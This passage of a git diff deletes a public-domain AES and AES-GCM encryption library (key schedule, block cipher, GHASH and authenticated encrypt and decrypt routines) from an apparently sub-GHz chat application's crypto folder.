- RK[4] = RK[0] ^ RCON[i] ^ ((uint32_t)FSb[(RK[3] >> 8) & 0xFF]) ^
- ((uint32_t)FSb[(RK[3] >> 16) & 0xFF] << 8) ^
- ((uint32_t)FSb[(RK[3] >> 24) & 0xFF] << 16) ^
- ((uint32_t)FSb[(RK[3]) & 0xFF] << 24);
-
- RK[5] = RK[1] ^ RK[4];
- RK[6] = RK[2] ^ RK[5];
- RK[7] = RK[3] ^ RK[6];
- }
- break;
-
- case 12:
- for(i = 0; i < 8; i++, RK += 6) {
- RK[6] = RK[0] ^ RCON[i] ^ ((uint32_t)FSb[(RK[5] >> 8) & 0xFF]) ^
- ((uint32_t)FSb[(RK[5] >> 16) & 0xFF] << 8) ^
- ((uint32_t)FSb[(RK[5] >> 24) & 0xFF] << 16) ^
- ((uint32_t)FSb[(RK[5]) & 0xFF] << 24);
-
- RK[7] = RK[1] ^ RK[6];
- RK[8] = RK[2] ^ RK[7];
- RK[9] = RK[3] ^ RK[8];
- RK[10] = RK[4] ^ RK[9];
- RK[11] = RK[5] ^ RK[10];
- }
- break;
-
- case 14:
- for(i = 0; i < 7; i++, RK += 8) {
- RK[8] = RK[0] ^ RCON[i] ^ ((uint32_t)FSb[(RK[7] >> 8) & 0xFF]) ^
- ((uint32_t)FSb[(RK[7] >> 16) & 0xFF] << 8) ^
- ((uint32_t)FSb[(RK[7] >> 24) & 0xFF] << 16) ^
- ((uint32_t)FSb[(RK[7]) & 0xFF] << 24);
-
- RK[9] = RK[1] ^ RK[8];
- RK[10] = RK[2] ^ RK[9];
- RK[11] = RK[3] ^ RK[10];
-
- RK[12] = RK[4] ^ ((uint32_t)FSb[(RK[11]) & 0xFF]) ^
- ((uint32_t)FSb[(RK[11] >> 8) & 0xFF] << 8) ^
- ((uint32_t)FSb[(RK[11] >> 16) & 0xFF] << 16) ^
- ((uint32_t)FSb[(RK[11] >> 24) & 0xFF] << 24);
-
- RK[13] = RK[5] ^ RK[12];
- RK[14] = RK[6] ^ RK[13];
- RK[15] = RK[7] ^ RK[14];
- }
- break;
-
- default:
- return -1;
- }
- return (0);
-}
-
-#if AES_DECRYPTION // whether AES decryption is supported
-
-/******************************************************************************
- *
- * AES_SET_DECRYPTION_KEY
- *
- * This is called by 'aes_setkey' when we're establishing a
- * key for subsequent decryption. We give it a pointer to
- * the encryption context, a pointer to the key, and the key's
- * length in bits. Valid lengths are: 128, 192, or 256 bits.
- *
- ******************************************************************************/
-int aes_set_decryption_key(aes_context* ctx, const uchar* key, uint keysize) {
- int i, j;
- aes_context cty; // a calling aes context for set_encryption_key
- uint32_t* RK = ctx->rk; // initialize our RoundKey buffer pointer
- uint32_t* SK;
- int ret;
-
- cty.rounds = ctx->rounds; // initialize our local aes context
- cty.rk = cty.buf; // round count and key buf pointer
-
- if((ret = aes_set_encryption_key(&cty, key, keysize)) != 0) return (ret);
-
- SK = cty.rk + cty.rounds * 4;
-
- CPY128 // copy a 128-bit block from *SK to *RK
-
- for(i = ctx->rounds - 1, SK -= 8; i > 0; i--, SK -= 8) {
- for(j = 0; j < 4; j++, SK++) {
- *RK++ = RT0[FSb[(*SK) & 0xFF]] ^ RT1[FSb[(*SK >> 8) & 0xFF]] ^
- RT2[FSb[(*SK >> 16) & 0xFF]] ^ RT3[FSb[(*SK >> 24) & 0xFF]];
- }
- }
- CPY128 // copy a 128-bit block from *SK to *RK
- memset(&cty, 0, sizeof(aes_context)); // clear local aes context
- return (0);
-}
-
-#endif /* AES_DECRYPTION */
-
-/******************************************************************************
- *
- * AES_SETKEY
- *
- * Invoked to establish the key schedule for subsequent encryption/decryption
- *
- ******************************************************************************/
-int aes_setkey(
- aes_context* ctx, // AES context provided by our caller
- int mode, // ENCRYPT or DECRYPT flag
- const uchar* key, // pointer to the key
- uint keysize) // key length in bytes
-{
- // since table initialization is not thread safe, we could either add
- // system-specific mutexes and init the AES key generation tables on
- // demand, or ask the developer to simply call "gcm_initialize" once during
- // application startup before threading begins. That's what we choose.
- if(!aes_tables_inited) return (-1); // fail the call when not inited.
-
- ctx->mode = mode; // capture the key type we're creating
- ctx->rk = ctx->buf; // initialize our round key pointer
-
- switch(keysize) // set the rounds count based upon the keysize
- {
- case 16:
- ctx->rounds = 10;
- break; // 16-byte, 128-bit key
- case 24:
- ctx->rounds = 12;
- break; // 24-byte, 192-bit key
- case 32:
- ctx->rounds = 14;
- break; // 32-byte, 256-bit key
- default:
- return (-1);
- }
-
-#if AES_DECRYPTION
- if(mode == DECRYPT) // expand our key for encryption or decryption
- return (aes_set_decryption_key(ctx, key, keysize));
- else /* ENCRYPT */
-#endif /* AES_DECRYPTION */
- return (aes_set_encryption_key(ctx, key, keysize));
-}
-
-/******************************************************************************
- *
- * AES_CIPHER
- *
- * Perform AES encryption and decryption.
- * The AES context will have been setup with the encryption mode
- * and all keying information appropriate for the task.
- *
- ******************************************************************************/
-int aes_cipher(aes_context* ctx, const uchar input[16], uchar output[16]) {
- int i;
- uint32_t *RK, X0, X1, X2, X3, Y0, Y1, Y2, Y3; // general purpose locals
-
- RK = ctx->rk;
-
- GET_UINT32_LE(X0, input, 0);
- X0 ^= *RK++; // load our 128-bit
- GET_UINT32_LE(X1, input, 4);
- X1 ^= *RK++; // input buffer in a storage
- GET_UINT32_LE(X2, input, 8);
- X2 ^= *RK++; // memory endian-neutral way
- GET_UINT32_LE(X3, input, 12);
- X3 ^= *RK++;
-
-#if AES_DECRYPTION // whether AES decryption is supported
-
- if(ctx->mode == DECRYPT) {
- for(i = (ctx->rounds >> 1) - 1; i > 0; i--) {
- AES_RROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3);
- AES_RROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3);
- }
-
- AES_RROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3);
-
- X0 = *RK++ ^ ((uint32_t)RSb[(Y0)&0xFF]) ^ ((uint32_t)RSb[(Y3 >> 8) & 0xFF] << 8) ^
- ((uint32_t)RSb[(Y2 >> 16) & 0xFF] << 16) ^ ((uint32_t)RSb[(Y1 >> 24) & 0xFF] << 24);
-
- X1 = *RK++ ^ ((uint32_t)RSb[(Y1)&0xFF]) ^ ((uint32_t)RSb[(Y0 >> 8) & 0xFF] << 8) ^
- ((uint32_t)RSb[(Y3 >> 16) & 0xFF] << 16) ^ ((uint32_t)RSb[(Y2 >> 24) & 0xFF] << 24);
-
- X2 = *RK++ ^ ((uint32_t)RSb[(Y2)&0xFF]) ^ ((uint32_t)RSb[(Y1 >> 8) & 0xFF] << 8) ^
- ((uint32_t)RSb[(Y0 >> 16) & 0xFF] << 16) ^ ((uint32_t)RSb[(Y3 >> 24) & 0xFF] << 24);
-
- X3 = *RK++ ^ ((uint32_t)RSb[(Y3)&0xFF]) ^ ((uint32_t)RSb[(Y2 >> 8) & 0xFF] << 8) ^
- ((uint32_t)RSb[(Y1 >> 16) & 0xFF] << 16) ^ ((uint32_t)RSb[(Y0 >> 24) & 0xFF] << 24);
- } else /* ENCRYPT */
- {
-#endif /* AES_DECRYPTION */
-
- for(i = (ctx->rounds >> 1) - 1; i > 0; i--) {
- AES_FROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3);
- AES_FROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3);
- }
-
- AES_FROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3);
-
- X0 = *RK++ ^ ((uint32_t)FSb[(Y0)&0xFF]) ^ ((uint32_t)FSb[(Y1 >> 8) & 0xFF] << 8) ^
- ((uint32_t)FSb[(Y2 >> 16) & 0xFF] << 16) ^ ((uint32_t)FSb[(Y3 >> 24) & 0xFF] << 24);
-
- X1 = *RK++ ^ ((uint32_t)FSb[(Y1)&0xFF]) ^ ((uint32_t)FSb[(Y2 >> 8) & 0xFF] << 8) ^
- ((uint32_t)FSb[(Y3 >> 16) & 0xFF] << 16) ^ ((uint32_t)FSb[(Y0 >> 24) & 0xFF] << 24);
-
- X2 = *RK++ ^ ((uint32_t)FSb[(Y2)&0xFF]) ^ ((uint32_t)FSb[(Y3 >> 8) & 0xFF] << 8) ^
- ((uint32_t)FSb[(Y0 >> 16) & 0xFF] << 16) ^ ((uint32_t)FSb[(Y1 >> 24) & 0xFF] << 24);
-
- X3 = *RK++ ^ ((uint32_t)FSb[(Y3)&0xFF]) ^ ((uint32_t)FSb[(Y0 >> 8) & 0xFF] << 8) ^
- ((uint32_t)FSb[(Y1 >> 16) & 0xFF] << 16) ^ ((uint32_t)FSb[(Y2 >> 24) & 0xFF] << 24);
-
-#if AES_DECRYPTION // whether AES decryption is supported
- }
-#endif /* AES_DECRYPTION */
-
- PUT_UINT32_LE(X0, output, 0);
- PUT_UINT32_LE(X1, output, 4);
- PUT_UINT32_LE(X2, output, 8);
- PUT_UINT32_LE(X3, output, 12);
-
- return (0);
-}
-/* end of aes.c */
diff --git a/applications/external/esubghz_chat/crypto/aes.h b/applications/external/esubghz_chat/crypto/aes.h
deleted file mode 100644
index 3ffaa065b..000000000
--- a/applications/external/esubghz_chat/crypto/aes.h
+++ /dev/null
@@ -1,80 +0,0 @@
-/******************************************************************************
-*
-* THIS SOURCE CODE IS HEREBY PLACED INTO THE PUBLIC DOMAIN FOR THE GOOD OF ALL
-*
-* This is a simple and straightforward implementation of the AES Rijndael
-* 128-bit block cipher designed by Vincent Rijmen and Joan Daemen. The focus
-* of this work was correctness & accuracy. It is written in 'C' without any
-* particular focus upon optimization or speed. It should be endian (memory
-* byte order) neutral since the few places that care are handled explicitly.
-*
-* This implementation of Rijndael was created by Steven M. Gibson of GRC.com.
-*
-* It is intended for general purpose use, but was written in support of GRC's
-* reference implementation of the SQRL (Secure Quick Reliable Login) client.
-*
-* See: http://csrc.nist.gov/archive/aes/rijndael/wsdindex.html
-*
-* NO COPYRIGHT IS CLAIMED IN THIS WORK, HOWEVER, NEITHER IS ANY WARRANTY MADE
-* REGARDING ITS FITNESS FOR ANY PARTICULAR PURPOSE. USE IT AT YOUR OWN RISK.
-*
-*******************************************************************************/
-
-#ifndef AES_HEADER
-#define AES_HEADER
-
-/******************************************************************************/
-#define AES_DECRYPTION 0 // whether AES decryption is supported
-/******************************************************************************/
-
-#include
-
-#define ENCRYPT 1 // specify whether we're encrypting
-#define DECRYPT 0 // or decrypting
-
-#if defined(_MSC_VER)
-#include
-typedef UINT32 uint32_t;
-#else
-#include
-#endif
-
-typedef unsigned char uchar; // add some convienent shorter types
-typedef unsigned int uint;
-
-/******************************************************************************
- * AES_INIT_KEYGEN_TABLES : MUST be called once before any AES use
- ******************************************************************************/
-void aes_init_keygen_tables(void);
-
-/******************************************************************************
- * AES_CONTEXT : cipher context / holds inter-call data
- ******************************************************************************/
-typedef struct {
- int mode; // 1 for Encryption, 0 for Decryption
- int rounds; // keysize-based rounds count
- uint32_t* rk; // pointer to current round key
- uint32_t buf[68]; // key expansion buffer
-} aes_context;
-
-/******************************************************************************
- * AES_SETKEY : called to expand the key for encryption or decryption
- ******************************************************************************/
-int aes_setkey(
- aes_context* ctx, // pointer to context
- int mode, // 1 or 0 for Encrypt/Decrypt
- const uchar* key, // AES input key
- uint keysize); // size in bytes (must be 16, 24, 32 for
-// 128, 192 or 256-bit keys respectively)
-// returns 0 for success
-
-/******************************************************************************
- * AES_CIPHER : called to encrypt or decrypt ONE 128-bit block of data
- ******************************************************************************/
-int aes_cipher(
- aes_context* ctx, // pointer to context
- const uchar input[16], // 128-bit block to en/decipher
- uchar output[16]); // 128-bit output result block
-// returns 0 for success
-
-#endif /* AES_HEADER */
diff --git a/applications/external/esubghz_chat/crypto/gcm.c b/applications/external/esubghz_chat/crypto/gcm.c
deleted file mode 100644
index c5aad7aa4..000000000
--- a/applications/external/esubghz_chat/crypto/gcm.c
+++ /dev/null
@@ -1,516 +0,0 @@
-/******************************************************************************
-*
-* THIS SOURCE CODE IS HEREBY PLACED INTO THE PUBLIC DOMAIN FOR THE GOOD OF ALL
-*
-* This is a simple and straightforward implementation of AES-GCM authenticated
-* encryption. The focus of this work was correctness & accuracy. It is written
-* in straight 'C' without any particular focus upon optimization or speed. It
-* should be endian (memory byte order) neutral since the few places that care
-* are handled explicitly.
-*
-* This implementation of AES-GCM was created by Steven M. Gibson of GRC.com.
-*
-* It is intended for general purpose use, but was written in support of GRC's
-* reference implementation of the SQRL (Secure Quick Reliable Login) client.
-*
-* See: http://csrc.nist.gov/publications/nistpubs/800-38D/SP-800-38D.pdf
-* http://csrc.nist.gov/groups/ST/toolkit/BCM/documents/proposedmodes/
-* gcm/gcm-revised-spec.pdf
-*
-* NO COPYRIGHT IS CLAIMED IN THIS WORK, HOWEVER, NEITHER IS ANY WARRANTY MADE
-* REGARDING ITS FITNESS FOR ANY PARTICULAR PURPOSE. USE IT AT YOUR OWN RISK.
-*
-*******************************************************************************/
-
-#include "gcm.h"
-#include "aes.h"
-
-/******************************************************************************
- * ==== IMPLEMENTATION WARNING ====
- *
- * This code was developed for use within SQRL's fixed environmnent. Thus, it
- * is somewhat less "general purpose" than it would be if it were designed as
- * a general purpose AES-GCM library. Specifically, it bothers with almost NO
- * error checking on parameter limits, buffer bounds, etc. It assumes that it
- * is being invoked by its author or by someone who understands the values it
- * expects to receive. Its behavior will be undefined otherwise.
- *
- * All functions that might fail are defined to return 'ints' to indicate a
- * problem. Most do not do so now. But this allows for error propagation out
- * of internal functions if robust error checking should ever be desired.
- *
- ******************************************************************************/
-
-/* Calculating the "GHASH"
- *
- * There are many ways of calculating the so-called GHASH in software, each with
- * a traditional size vs performance tradeoff. The GHASH (Galois field hash) is
- * an intriguing construction which takes two 128-bit strings (also the cipher's
- * block size and the fundamental operation size for the system) and hashes them
- * into a third 128-bit result.
- *
- * Many implementation solutions have been worked out that use large precomputed
- * table lookups in place of more time consuming bit fiddling, and this approach
- * can be scaled easily upward or downward as needed to change the time/space
- * tradeoff. It's been studied extensively and there's a solid body of theory and
- * practice. For example, without using any lookup tables an implementation
- * might obtain 119 cycles per byte throughput, whereas using a simple, though
- * large, key-specific 64 kbyte 8-bit lookup table the performance jumps to 13
- * cycles per byte.
- *
- * And Intel's processors have, since 2010, included an instruction which does
- * the entire 128x128->128 bit job in just several 64x64->128 bit pieces.
- *
- * Since SQRL is interactive, and only processing a few 128-bit blocks, I've
- * settled upon a relatively slower but appealing small-table compromise which
- * folds a bunch of not only time consuming but also bit twiddling into a simple
- * 16-entry table which is attributed to Victor Shoup's 1996 work while at
- * Bellcore: "On Fast and Provably Secure MessageAuthentication Based on
- * Universal Hashing." See: http://www.shoup.net/papers/macs.pdf
- * See, also section 4.1 of the "gcm-revised-spec" cited above.
- */
-
-/*
- * This 16-entry table of pre-computed constants is used by the
- * GHASH multiplier to improve over a strictly table-free but
- * significantly slower 128x128 bit multiple within GF(2^128).
- */
-static const uint64_t last4[16] = {
- 0x0000,
- 0x1c20,
- 0x3840,
- 0x2460,
- 0x7080,
- 0x6ca0,
- 0x48c0,
- 0x54e0,
- 0xe100,
- 0xfd20,
- 0xd940,
- 0xc560,
- 0x9180,
- 0x8da0,
- 0xa9c0,
- 0xb5e0};
-
-/*
- * Platform Endianness Neutralizing Load and Store Macro definitions
- * GCM wants platform-neutral Big Endian (BE) byte ordering
- */
-#define GET_UINT32_BE(n, b, i) \
- { \
- (n) = ((uint32_t)(b)[(i)] << 24) | ((uint32_t)(b)[(i) + 1] << 16) | \
- ((uint32_t)(b)[(i) + 2] << 8) | ((uint32_t)(b)[(i) + 3]); \
- }
-
-#define PUT_UINT32_BE(n, b, i) \
- { \
- (b)[(i)] = (uchar)((n) >> 24); \
- (b)[(i) + 1] = (uchar)((n) >> 16); \
- (b)[(i) + 2] = (uchar)((n) >> 8); \
- (b)[(i) + 3] = (uchar)((n)); \
- }
-
-/******************************************************************************
- *
- * GCM_INITIALIZE
- *
- * Must be called once to initialize the GCM library.
- *
- * At present, this only calls the AES keygen table generator, which expands
- * the AES keying tables for use. This is NOT A THREAD-SAFE function, so it
- * MUST be called during system initialization before a multi-threading
- * environment is running.
- *
- ******************************************************************************/
-int gcm_initialize(void) {
- aes_init_keygen_tables();
- return (0);
-}
-
-/******************************************************************************
- *
- * GCM_MULT
- *
- * Performs a GHASH operation on the 128-bit input vector 'x', setting
- * the 128-bit output vector to 'x' times H using our precomputed tables.
- * 'x' and 'output' are seen as elements of GCM's GF(2^128) Galois field.
- *
- ******************************************************************************/
-static void gcm_mult(
- gcm_context* ctx, // pointer to established context
- const uchar x[16], // pointer to 128-bit input vector
- uchar output[16]) // pointer to 128-bit output vector
-{
- int i;
- uchar lo, hi, rem;
- uint64_t zh, zl;
-
- lo = (uchar)(x[15] & 0x0f);
- hi = (uchar)(x[15] >> 4);
- zh = ctx->HH[lo];
- zl = ctx->HL[lo];
-
- for(i = 15; i >= 0; i--) {
- lo = (uchar)(x[i] & 0x0f);
- hi = (uchar)(x[i] >> 4);
-
- if(i != 15) {
- rem = (uchar)(zl & 0x0f);
- zl = (zh << 60) | (zl >> 4);
- zh = (zh >> 4);
- zh ^= (uint64_t)last4[rem] << 48;
- zh ^= ctx->HH[lo];
- zl ^= ctx->HL[lo];
- }
- rem = (uchar)(zl & 0x0f);
- zl = (zh << 60) | (zl >> 4);
- zh = (zh >> 4);
- zh ^= (uint64_t)last4[rem] << 48;
- zh ^= ctx->HH[hi];
- zl ^= ctx->HL[hi];
- }
- PUT_UINT32_BE(zh >> 32, output, 0);
- PUT_UINT32_BE(zh, output, 4);
- PUT_UINT32_BE(zl >> 32, output, 8);
- PUT_UINT32_BE(zl, output, 12);
-}
-
-/******************************************************************************
- *
- * GCM_SETKEY
- *
- * This is called to set the AES-GCM key. It initializes the AES key
- * and populates the gcm context's pre-calculated HTables.
- *
- ******************************************************************************/
-int gcm_setkey(
- gcm_context* ctx, // pointer to caller-provided gcm context
- const uchar* key, // pointer to the AES encryption key
- const uint keysize) // size in bytes (must be 16, 24, 32 for
-// 128, 192 or 256-bit keys respectively)
-{
- int ret, i, j;
- uint64_t hi, lo;
- uint64_t vl, vh;
- unsigned char h[16];
-
- memset(ctx, 0, sizeof(gcm_context)); // zero caller-provided GCM context
- memset(h, 0, 16); // initialize the block to encrypt
-
- // encrypt the null 128-bit block to generate a key-based value
- // which is then used to initialize our GHASH lookup tables
- if((ret = aes_setkey(&ctx->aes_ctx, ENCRYPT, key, keysize)) != 0) return (ret);
- if((ret = aes_cipher(&ctx->aes_ctx, h, h)) != 0) return (ret);
-
- GET_UINT32_BE(hi, h, 0); // pack h as two 64-bit ints, big-endian
- GET_UINT32_BE(lo, h, 4);
- vh = (uint64_t)hi << 32 | lo;
-
- GET_UINT32_BE(hi, h, 8);
- GET_UINT32_BE(lo, h, 12);
- vl = (uint64_t)hi << 32 | lo;
-
- ctx->HL[8] = vl; // 8 = 1000 corresponds to 1 in GF(2^128)
- ctx->HH[8] = vh;
- ctx->HH[0] = 0; // 0 corresponds to 0 in GF(2^128)
- ctx->HL[0] = 0;
-
- for(i = 4; i > 0; i >>= 1) {
- uint32_t T = (uint32_t)(vl & 1) * 0xe1000000U;
- vl = (vh << 63) | (vl >> 1);
- vh = (vh >> 1) ^ ((uint64_t)T << 32);
- ctx->HL[i] = vl;
- ctx->HH[i] = vh;
- }
- for(i = 2; i < 16; i <<= 1) {
- uint64_t *HiL = ctx->HL + i, *HiH = ctx->HH + i;
- vh = *HiH;
- vl = *HiL;
- for(j = 1; j < i; j++) {
- HiH[j] = vh ^ ctx->HH[j];
- HiL[j] = vl ^ ctx->HL[j];
- }
- }
- return (0);
-}
-
-/******************************************************************************
- *
- * GCM processing occurs four phases: SETKEY, START, UPDATE and FINISH.
- *
- * SETKEY:
- *
- * START: Sets the Encryption/Decryption mode.
- * Accepts the initialization vector and additional data.
- *
- * UPDATE: Encrypts or decrypts the plaintext or ciphertext.
- *
- * FINISH: Performs a final GHASH to generate the authentication tag.
- *
- ******************************************************************************
- *
- * GCM_START
- *
- * Given a user-provided GCM context, this initializes it, sets the encryption
- * mode, and preprocesses the initialization vector and additional AEAD data.
- *
- ******************************************************************************/
-int gcm_start(
- gcm_context* ctx, // pointer to user-provided GCM context
- int mode, // GCM_ENCRYPT or GCM_DECRYPT
- const uchar* iv, // pointer to initialization vector
- size_t iv_len, // IV length in bytes (should == 12)
- const uchar* add, // ptr to additional AEAD data (NULL if none)
- size_t add_len) // length of additional AEAD data (bytes)
-{
- int ret; // our error return if the AES encrypt fails
- uchar work_buf[16]; // XOR source built from provided IV if len != 16
- const uchar* p; // general purpose array pointer
- size_t use_len; // byte count to process, up to 16 bytes
- size_t i; // local loop iterator
-
- // since the context might be reused under the same key
- // we zero the working buffers for this next new process
- memset(ctx->y, 0x00, sizeof(ctx->y));
- memset(ctx->buf, 0x00, sizeof(ctx->buf));
- ctx->len = 0;
- ctx->add_len = 0;
-
- ctx->mode = mode; // set the GCM encryption/decryption mode
- ctx->aes_ctx.mode = ENCRYPT; // GCM *always* runs AES in ENCRYPTION mode
-
- if(iv_len == 12) { // GCM natively uses a 12-byte, 96-bit IV
- memcpy(ctx->y, iv, iv_len); // copy the IV to the top of the 'y' buff
- ctx->y[15] = 1; // start "counting" from 1 (not 0)
- } else // if we don't have a 12-byte IV, we GHASH whatever we've been given
- {
- memset(work_buf, 0x00, 16); // clear the working buffer
- PUT_UINT32_BE(iv_len * 8, work_buf, 12); // place the IV into buffer
-
- p = iv;
- while(iv_len > 0) {
- use_len = (iv_len < 16) ? iv_len : 16;
- for(i = 0; i < use_len; i++) ctx->y[i] ^= p[i];
- gcm_mult(ctx, ctx->y, ctx->y);
- iv_len -= use_len;
- p += use_len;
- }
- for(i = 0; i < 16; i++) ctx->y[i] ^= work_buf[i];
- gcm_mult(ctx, ctx->y, ctx->y);
- }
- if((ret = aes_cipher(&ctx->aes_ctx, ctx->y, ctx->base_ectr)) != 0) return (ret);
-
- ctx->add_len = add_len;
- p = add;
- while(add_len > 0) {
- use_len = (add_len < 16) ? add_len : 16;
- for(i = 0; i < use_len; i++) ctx->buf[i] ^= p[i];
- gcm_mult(ctx, ctx->buf, ctx->buf);
- add_len -= use_len;
- p += use_len;
- }
- return (0);
-}
-
-/******************************************************************************
- *
- * GCM_UPDATE
- *
- * This is called once or more to process bulk plaintext or ciphertext data.
- * We give this some number of bytes of input and it returns the same number
- * of output bytes. If called multiple times (which is fine) all but the final
- * invocation MUST be called with length mod 16 == 0. (Only the final call can
- * have a partial block length of < 128 bits.)
- *
- ******************************************************************************/
-int gcm_update(
- gcm_context* ctx, // pointer to user-provided GCM context
- size_t length, // length, in bytes, of data to process
- const uchar* input, // pointer to source data
- uchar* output) // pointer to destination data
-{
- int ret; // our error return if the AES encrypt fails
- uchar ectr[16]; // counter-mode cipher output for XORing
- size_t use_len; // byte count to process, up to 16 bytes
- size_t i; // local loop iterator
-
- ctx->len += length; // bump the GCM context's running length count
-
- while(length > 0) {
- // clamp the length to process at 16 bytes
- use_len = (length < 16) ? length : 16;
-
- // increment the context's 128-bit IV||Counter 'y' vector
- for(i = 16; i > 12; i--)
- if(++ctx->y[i - 1] != 0) break;
-
- // encrypt the context's 'y' vector under the established key
- if((ret = aes_cipher(&ctx->aes_ctx, ctx->y, ectr)) != 0) return (ret);
-
- // encrypt or decrypt the input to the output
- if(ctx->mode == ENCRYPT) {
- for(i = 0; i < use_len; i++) {
- // XOR the cipher's ouptut vector (ectr) with our input
- output[i] = (uchar)(ectr[i] ^ input[i]);
- // now we mix in our data into the authentication hash.
- // if we're ENcrypting we XOR in the post-XOR (output)
- // results, but if we're DEcrypting we XOR in the input
- // data
- ctx->buf[i] ^= output[i];
- }
- } else {
- for(i = 0; i < use_len; i++) {
- // but if we're DEcrypting we XOR in the input data first,
- // i.e. before saving to ouput data, otherwise if the input
- // and output buffer are the same (inplace decryption) we
- // would not get the correct auth tag
-
- ctx->buf[i] ^= input[i];
-
- // XOR the cipher's ouptut vector (ectr) with our input
- output[i] = (uchar)(ectr[i] ^ input[i]);
- }
- }
- gcm_mult(ctx, ctx->buf, ctx->buf); // perform a GHASH operation
-
- length -= use_len; // drop the remaining byte count to process
- input += use_len; // bump our input pointer forward
- output += use_len; // bump our output pointer forward
- }
- return (0);
-}
-
-/******************************************************************************
- *
- * GCM_FINISH
- *
- * This is called once after all calls to GCM_UPDATE to finalize the GCM.
- * It performs the final GHASH to produce the resulting authentication TAG.
- *
- ******************************************************************************/
-int gcm_finish(
- gcm_context* ctx, // pointer to user-provided GCM context
- uchar* tag, // pointer to buffer which receives the tag
- size_t tag_len) // length, in bytes, of the tag-receiving buf
-{
- uchar work_buf[16];
- uint64_t orig_len = ctx->len * 8;
- uint64_t orig_add_len = ctx->add_len * 8;
- size_t i;
-
- if(tag_len != 0) memcpy(tag, ctx->base_ectr, tag_len);
-
- if(orig_len || orig_add_len) {
- memset(work_buf, 0x00, 16);
-
- PUT_UINT32_BE((orig_add_len >> 32), work_buf, 0);
- PUT_UINT32_BE((orig_add_len), work_buf, 4);
- PUT_UINT32_BE((orig_len >> 32), work_buf, 8);
- PUT_UINT32_BE((orig_len), work_buf, 12);
-
- for(i = 0; i < 16; i++) ctx->buf[i] ^= work_buf[i];
- gcm_mult(ctx, ctx->buf, ctx->buf);
- for(i = 0; i < tag_len; i++) tag[i] ^= ctx->buf[i];
- }
- return (0);
-}
-
-/******************************************************************************
- *
- * GCM_CRYPT_AND_TAG
- *
- * This either encrypts or decrypts the user-provided data and, either
- * way, generates an authentication tag of the requested length. It must be
- * called with a GCM context whose key has already been set with GCM_SETKEY.
- *
- * The user would typically call this explicitly to ENCRYPT a buffer of data
- * and optional associated data, and produce its an authentication tag.
- *
- * To reverse the process the user would typically call the companion
- * GCM_AUTH_DECRYPT function to decrypt data and verify a user-provided
- * authentication tag. The GCM_AUTH_DECRYPT function calls this function
- * to perform its decryption and tag generation, which it then compares.
- *
- ******************************************************************************/
-int gcm_crypt_and_tag(
- gcm_context* ctx, // gcm context with key already setup
- int mode, // cipher direction: GCM_ENCRYPT or GCM_DECRYPT
- const uchar* iv, // pointer to the 12-byte initialization vector
- size_t iv_len, // byte length if the IV. should always be 12
- const uchar* add, // pointer to the non-ciphered additional data
- size_t add_len, // byte length of the additional AEAD data
- const uchar* input, // pointer to the cipher data source
- uchar* output, // pointer to the cipher data destination
- size_t length, // byte length of the cipher data
- uchar* tag, // pointer to the tag to be generated
- size_t tag_len) // byte length of the tag to be generated
-{ /*
- assuming that the caller has already invoked gcm_setkey to
- prepare the gcm context with the keying material, we simply
- invoke each of the three GCM sub-functions in turn...
- */
- gcm_start(ctx, mode, iv, iv_len, add, add_len);
- gcm_update(ctx, length, input, output);
- gcm_finish(ctx, tag, tag_len);
- return (0);
-}
-
-/******************************************************************************
- *
- * GCM_AUTH_DECRYPT
- *
- * This DECRYPTS a user-provided data buffer with optional associated data.
- * It then verifies a user-supplied authentication tag against the tag just
- * re-created during decryption to verify that the data has not been altered.
- *
- * This function calls GCM_CRYPT_AND_TAG (above) to perform the decryption
- * and authentication tag generation.
- *
- ******************************************************************************/
-int gcm_auth_decrypt(
- gcm_context* ctx, // gcm context with key already setup
- const uchar* iv, // pointer to the 12-byte initialization vector
- size_t iv_len, // byte length if the IV. should always be 12
- const uchar* add, // pointer to the non-ciphered additional data
- size_t add_len, // byte length of the additional AEAD data
- const uchar* input, // pointer to the cipher data source
- uchar* output, // pointer to the cipher data destination
- size_t length, // byte length of the cipher data
- const uchar* tag, // pointer to the tag to be authenticated
- size_t tag_len) // byte length of the tag <= 16
-{
- uchar check_tag[16]; // the tag generated and returned by decryption
- int diff; // an ORed flag to detect authentication errors
- size_t i; // our local iterator
- /*
- we use GCM_DECRYPT_AND_TAG (above) to perform our decryption
- (which is an identical XORing to reverse the previous one)
- and also to re-generate the matching authentication tag
- */
- gcm_crypt_and_tag(
- ctx, DECRYPT, iv, iv_len, add, add_len, input, output, length, check_tag, tag_len);
-
- // now we verify the authentication tag in 'constant time'
- for(diff = 0, i = 0; i < tag_len; i++) diff |= tag[i] ^ check_tag[i];
-
- if(diff != 0) { // see whether any bits differed?
- memset(output, 0, length); // if so... wipe the output data
- return (GCM_AUTH_FAILURE); // return GCM_AUTH_FAILURE
- }
- return (0);
-}
-
-/******************************************************************************
- *
- * GCM_ZERO_CTX
- *
- * The GCM context contains both the GCM context and the AES context.
- * This includes keying and key-related material which is security-
- * sensitive, so it MUST be zeroed after use. This function does that.
- *
- ******************************************************************************/
-void gcm_zero_ctx(gcm_context* ctx) {
- // zero the context originally provided to us
- memset(ctx, 0, sizeof(gcm_context));
-}
diff --git a/applications/external/esubghz_chat/crypto/gcm.h b/applications/external/esubghz_chat/crypto/gcm.h
deleted file mode 100644
index 9a3e47052..000000000
--- a/applications/external/esubghz_chat/crypto/gcm.h
+++ /dev/null
@@ -1,181 +0,0 @@
-/******************************************************************************
-*
-* THIS SOURCE CODE IS HEREBY PLACED INTO THE PUBLIC DOMAIN FOR THE GOOD OF ALL
-*
-* This is a simple and straightforward implementation of AES-GCM authenticated
-* encryption. The focus of this work was correctness & accuracy. It is written
-* in straight 'C' without any particular focus upon optimization or speed. It
-* should be endian (memory byte order) neutral since the few places that care
-* are handled explicitly.
-*
-* This implementation of AES-GCM was created by Steven M. Gibson of GRC.com.
-*
-* It is intended for general purpose use, but was written in support of GRC's
-* reference implementation of the SQRL (Secure Quick Reliable Login) client.
-*
-* See: http://csrc.nist.gov/publications/nistpubs/800-38D/SP-800-38D.pdf
-* http://csrc.nist.gov/groups/ST/toolkit/BCM/documents/proposedmodes/ \
-* gcm/gcm-revised-spec.pdf
-*
-* NO COPYRIGHT IS CLAIMED IN THIS WORK, HOWEVER, NEITHER IS ANY WARRANTY MADE
